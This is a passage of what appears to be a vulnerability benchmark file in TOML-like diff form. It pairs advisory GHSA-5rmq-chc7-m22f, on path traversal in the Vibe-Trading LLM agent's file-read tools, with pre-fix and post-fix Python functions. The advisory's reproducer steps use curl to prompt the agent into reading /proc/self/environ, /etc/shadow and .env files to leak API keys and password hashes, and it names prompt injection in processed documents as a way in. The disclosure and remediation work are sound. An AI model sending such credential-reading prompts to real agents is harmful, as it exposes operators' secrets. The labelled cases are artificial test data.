\"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "cmd_swarm_run_live"
+function_lines = [[900, 996]]
+id = "hkuds-vibe-trading-9b681020685fe0e7"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/cli.py"
+post_fix = "def cmd_swarm_run_live(preset: str, vars_json: Optional[str] = None) -> None:\n \"\"\"Run a swarm preset with Rich Live dashboard.\"\"\"\n from rich.live import Live\n from src.swarm.runtime import SwarmRuntime\n from src.swarm.store import SwarmStore\n from src.swarm.models import RunStatus\n\n user_vars: Dict[str, str] = {}\n if vars_json:\n try:\n user_vars = json.loads(vars_json)\n except json.JSONDecodeError as exc:\n console.print(f\"[red]Invalid JSON: {exc}[/red]\")\n return\n\n store = SwarmStore(base_dir=SWARM_DIR)\n runtime = SwarmRuntime(store=store)\n _agent_color_map.clear()\n\n console.print(f\"\\n[dim]Starting swarm:[/dim] [cyan]{preset}[/cyan]\")\n if user_vars:\n console.print(f\"[dim]Variables:[/dim] {json.dumps(user_vars, ensure_ascii=False)}\")\n\n dashboard = _SwarmDashboard(preset, \"\")\n\n try:\n run = runtime.start_run(\n preset,\n user_vars,\n live_callback=dashboard.handle_event,\n include_shell_tools=True,\n )\n except FileNotFoundError as exc:\n console.print(f\"[red]{exc}[/red]\")\n return\n except ValueError as exc:\n console.print(f\"[red]DAG validation failed: {exc}[/red]\")\n return\n\n dashboard.run_id = run.id\n\n with Live(dashboard.build_table(), console=console, refresh_per_second=4, transient=False) as live:\n try:\n while True:\n time.sleep(0.25)\n live.update(dashboard.build_table())\n current = store.load_run(run.id)\n if current is None:\n console.print(\"[red]Run record lost[/red]\")\n return\n if current.status in (RunStatus.completed, RunStatus.failed, RunStatus.cancelled):\n dashboard.finished = True\n dashboard.final_status = current.status.value\n live.update(dashboard.build_table())\n break\n except KeyboardInterrupt:\n console.print(\"\\n[yellow]Cancelling...[/yellow]\")\n runtime.cancel_run(run.id)\n time.sleep(1)\n current = store.load_run(run.id)\n\n if current is None:\n return\n\n # Print completed agent summaries\n for agent_name, summary in dashboard.completed_summaries:\n style = _get_agent_style(agent_name)\n console.print(f\"\\n[{style}]\\u2500\\u2500 {agent_name} \\u2500\\u2500[/{style}]\")\n # Truncate to first meaningful chunk\n lines = summary.strip().split(\"\\n\")\n preview = \"\\n\".join(lines[:8])\n if len(lines) > 8:\n preview += \"\\n[dim]...[/dim]\"\n console.print(preview)\n\n # Final report\n status_color = {\n RunStatus.completed: \"green\",\n RunStatus.failed: \"red\",\n RunStatus.cancelled: \"yellow\",\n }.get(current.status, \"dim\")\n\n elapsed_total = time.monotonic() - dashboard.start_time\n mins, secs = divmod(int(elapsed_total), 60)\n\n tokens_in = current.total_input_tokens\n tokens_out = current.total_output_tokens\n token_str = \"\"\n if tokens_in or tokens_out:\n token_str = f\"\\nTokens: ~{tokens_in + tokens_out:,} (in: {tokens_in:,} out: {tokens_out:,})\"\n\n if current.final_report:\n console.print(f\"\\n[bold]\\u2500\\u2500 Final Report \\u2500\\u2500[/bold]\")\n console.print(current.final_report[:2000])\n\n console.print(f\"\\n[{status_color}]{current.status.value.upper()}[/{status_color}] Time: {mins}m {secs}s{token_str}\")\n\n\n# ---------------------------------------------------------------------------\n# Legacy subcommands (used by flags and slash commands)\n# ---------------------------------------------------------------------------\n"
+pre_fix = "def cmd_swarm_run_live(preset: str, vars_json: Optional[str] = None) -> None:\n \"\"\"Run a swarm preset with Rich Live dashboard.\"\"\"\n from rich.live import Live\n from src.swarm.runtime import SwarmRuntime\n from src.swarm.store import SwarmStore\n from src.swarm.models import RunStatus\n\n user_vars: Dict[str, str] = {}\n if vars_json:\n try:\n user_vars = json.loads(vars_json)\n except json.JSONDecodeError as exc:\n console.print(f\"[red]Invalid JSON: {exc}[/red]\")\n return\n\n store = SwarmStore(base_dir=SWARM_DIR)\n runtime = SwarmRuntime(store=store)\n _agent_color_map.clear()\n\n console.print(f\"\\n[dim]Starting swarm:[/dim] [cyan]{preset}[/cyan]\")\n if user_vars:\n console.print(f\"[dim]Variables:[/dim] {json.dumps(user_vars, ensure_ascii=False)}\")\n\n dashboard = _SwarmDashboard(preset, \"\")\n\n try:\n run = runtime.start_run(preset, user_vars, live_callback=dashboard.handle_event)\n except FileNotFoundError as exc:\n console.print(f\"[red]{exc}[/red]\")\n return\n except ValueError as exc:\n console.print(f\"[red]DAG validation failed: {exc}[/red]\")\n return\n\n dashboard.run_id = run.id\n\n with Live(dashboard.build_table(), console=console, refresh_per_second=4, transient=False) as live:\n try:\n while True:\n time.sleep(0.25)\n live.update(dashboard.build_table())\n current = store.load_run(run.id)\n if current is None:\n console.print(\"[red]Run record lost[/red]\")\n return\n if current.status in (RunStatus.completed, RunStatus.failed, RunStatus.cancelled):\n dashboard.finished = True\n dashboard.final_status = current.status.value\n live.update(dashboard.build_table())\n break\n except KeyboardInterrupt:\n console.print(\"\\n[yellow]Cancelling...[/yellow]\")\n runtime.cancel_run(run.id)\n time.sleep(1)\n current = store.load_run(run.id)\n\n if current is None:\n return\n\n # Print completed agent summaries\n for agent_name, summary in dashboard.completed_summaries:\n style = _get_agent_style(agent_name)\n console.print(f\"\\n[{style}]\\u2500\\u2500 {agent_name} \\u2500\\u2500[/{style}]\")\n # Truncate to first meaningful chunk\n lines = summary.strip().split(\"\\n\")\n preview = \"\\n\".join(lines[:8])\n if len(lines) > 8:\n preview += \"\\n[dim]...[/dim]\"\n console.print(preview)\n\n # Final report\n status_color = {\n RunStatus.completed: \"green\",\n RunStatus.failed: \"red\",\n RunStatus.cancelled: \"yellow\",\n }.get(current.status, \"dim\")\n\n elapsed_total = time.monotonic() - dashboard.start_time\n mins, secs = divmod(int(elapsed_total), 60)\n\n tokens_in = current.total_input_tokens\n tokens_out = current.total_output_tokens\n token_str = \"\"\n if tokens_in or tokens_out:\n token_str = f\"\\nTokens: ~{tokens_in + tokens_out:,} (in: {tokens_in:,} out: {tokens_out:,})\"\n\n if current.final_report:\n console.print(f\"\\n[bold]\\u2500\\u2500 Final Report \\u2500\\u2500[/bold]\")\n console.print(current.final_report[:2000])\n\n console.print(f\"\\n[{status_color}]{current.status.value.upper()}[/{status_color}] Time: {mins}m {secs}s{token_str}\")\n\n\n# ---------------------------------------------------------------------------\n# Legacy subcommands (used by flags and slash commands)\n# ---------------------------------------------------------------------------\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "execute"
+function_lines = [[588, 668]]
+id = "hkuds-vibe-trading-a10dddba8add7fac"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/src/tools/swarm_tool.py"
+post_fix = " def execute(self, **kwargs: Any) -> str:\n \"\"\"Start a swarm run: auto-match preset, extract variables, wait for completion.\n\n Args:\n **kwargs: Must include prompt (str).\n\n Returns:\n JSON string with status, preset, variables, final_report, tasks, token_usage.\n \"\"\"\n prompt = kwargs.get(\"prompt\", \"\")\n\n if not prompt:\n return json.dumps(\n {\"status\": \"error\", \"error\": \"Missing 'prompt' parameter\"},\n ensure_ascii=False,\n )\n\n preset = _match_preset(prompt)\n variables = _build_variables(preset, prompt)\n\n logger.info(\n \"SwarmTool: matched preset=%s, variables=%s from prompt: %s\",\n preset,\n variables,\n prompt[:100],\n )\n\n from src.swarm.runtime import SwarmRuntime\n from src.swarm.store import SwarmStore\n\n swarm_base_dir = Path(__file__).resolve().parents[2] / \".swarm\" / \"runs\"\n swarm_base_dir.mkdir(parents=True, exist_ok=True)\n store = SwarmStore(base_dir=swarm_base_dir)\n runtime = SwarmRuntime(store=store, max_workers=int(os.getenv(\"SWARM_MAX_WORKERS\", \"4\")))\n\n try:\n run = runtime.start_run(\n preset,\n variables,\n include_shell_tools=self.include_shell_tools,\n )\n except FileNotFoundError as exc:\n return json.dumps(\n {\"status\": \"error\", \"error\": f\"Preset not found: {exc}\"},\n ensure_ascii=False,\n )\n except ValueError as exc:\n return json.dumps(\n {\"status\": \"error\", \"error\": f\"Invalid DAG: {exc}\"},\n ensure_ascii=False,\n )\n except Exception as exc:\n return json.dumps(\n {\"status\": \"error\", \"error\": f\"Failed to start swarm: {exc}\"},\n ensure_ascii=False,\n )\n\n run_id = run.id\n logger.info(\"SwarmTool: started run %s (preset=%s)\", run_id, preset)\n\n t0 = time.monotonic()\n while time.monotonic() - t0 < _MAX_WAIT_SECONDS:\n time.sleep(_POLL_INTERVAL_SECONDS)\n\n loaded = store.load_run(run_id)\n if loaded is None:\n return json.dumps(\n {\"status\": \"error\", \"error\": f\"Run {run_id} disappeared\"},\n ensure_ascii=False,\n )\n\n if loaded.status.value in (\"completed\", \"failed\", \"cancelled\"):\n return _format_result(loaded, preset, variables)\n\n runtime.cancel_run(run_id)\n loaded = store.load_run(run_id)\n if loaded is not None:\n return _format_result(loaded, preset, variables, timed_out=True)\n\n return json.dumps(\n {\"status\": \"timeout\", \"error\": f\"Swarm run {run_id} timed out after {_MAX_WAIT_SECONDS}s\"},\n ensure_ascii=False,\n )\n\n"
+pre_fix = " def execute(self, **kwargs: Any) -> str:\n \"\"\"Start a swarm run: auto-match preset, extract variables, wait for completion.\n\n Args:\n **kwargs: Must include prompt (str).\n\n Returns:\n JSON string with status, preset, variables, final_report, tasks, token_usage.\n \"\"\"\n prompt = kwargs.get(\"prompt\", \"\")\n\n if not prompt:\n return json.dumps(\n {\"status\": \"error\", \"error\": \"Missing 'prompt' parameter\"},\n ensure_ascii=False,\n )\n\n preset = _match_preset(prompt)\n variables = _build_variables(preset, prompt)\n\n logger.info(\n \"SwarmTool: matched preset=%s, variables=%s from prompt: %s\",\n preset,\n variables,\n prompt[:100],\n )\n\n from src.swarm.runtime import SwarmRuntime\n from src.swarm.store import SwarmStore\n\n swarm_base_dir = Path(__file__).resolve().parents[2] / \".swarm\" / \"runs\"\n swarm_base_dir.mkdir(parents=True, exist_ok=True)\n store = SwarmStore(base_dir=swarm_base_dir)\n runtime = SwarmRuntime(store=store, max_workers=int(os.getenv(\"SWARM_MAX_WORKERS\", \"4\")))\n\n try:\n run = runtime.start_run(preset, variables)\n except FileNotFoundError as exc:\n return json.dumps(\n {\"status\": \"error\", \"error\": f\"Preset not found: {exc}\"},\n ensure_ascii=False,\n )\n except ValueError as exc:\n return json.dumps(\n {\"status\": \"error\", \"error\": f\"Invalid DAG: {exc}\"},\n ensure_ascii=False,\n )\n except Exception as exc:\n return json.dumps(\n {\"status\": \"error\", \"error\": f\"Failed to start swarm: {exc}\"},\n ensure_ascii=False,\n )\n\n run_id = run.id\n logger.info(\"SwarmTool: started run %s (preset=%s)\", run_id, preset)\n\n t0 = time.monotonic()\n while time.monotonic() - t0 < _MAX_WAIT_SECONDS:\n time.sleep(_POLL_INTERVAL_SECONDS)\n\n loaded = store.load_run(run_id)\n if loaded is None:\n return json.dumps(\n {\"status\": \"error\", \"error\": f\"Run {run_id} disappeared\"},\n ensure_ascii=False,\n )\n\n if loaded.status.value in (\"completed\", \"failed\", \"cancelled\"):\n return _format_result(loaded, preset, variables)\n\n runtime.cancel_run(run_id)\n loaded = store.load_run(run_id)\n if loaded is not None:\n return _format_result(loaded, preset, variables, timed_out=True)\n\n return json.dumps(\n {\"status\": \"timeout\", \"error\": f\"Swarm run {run_id} timed out after {_MAX_WAIT_SECONDS}s\"},\n ensure_ascii=False,\n )\n\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, 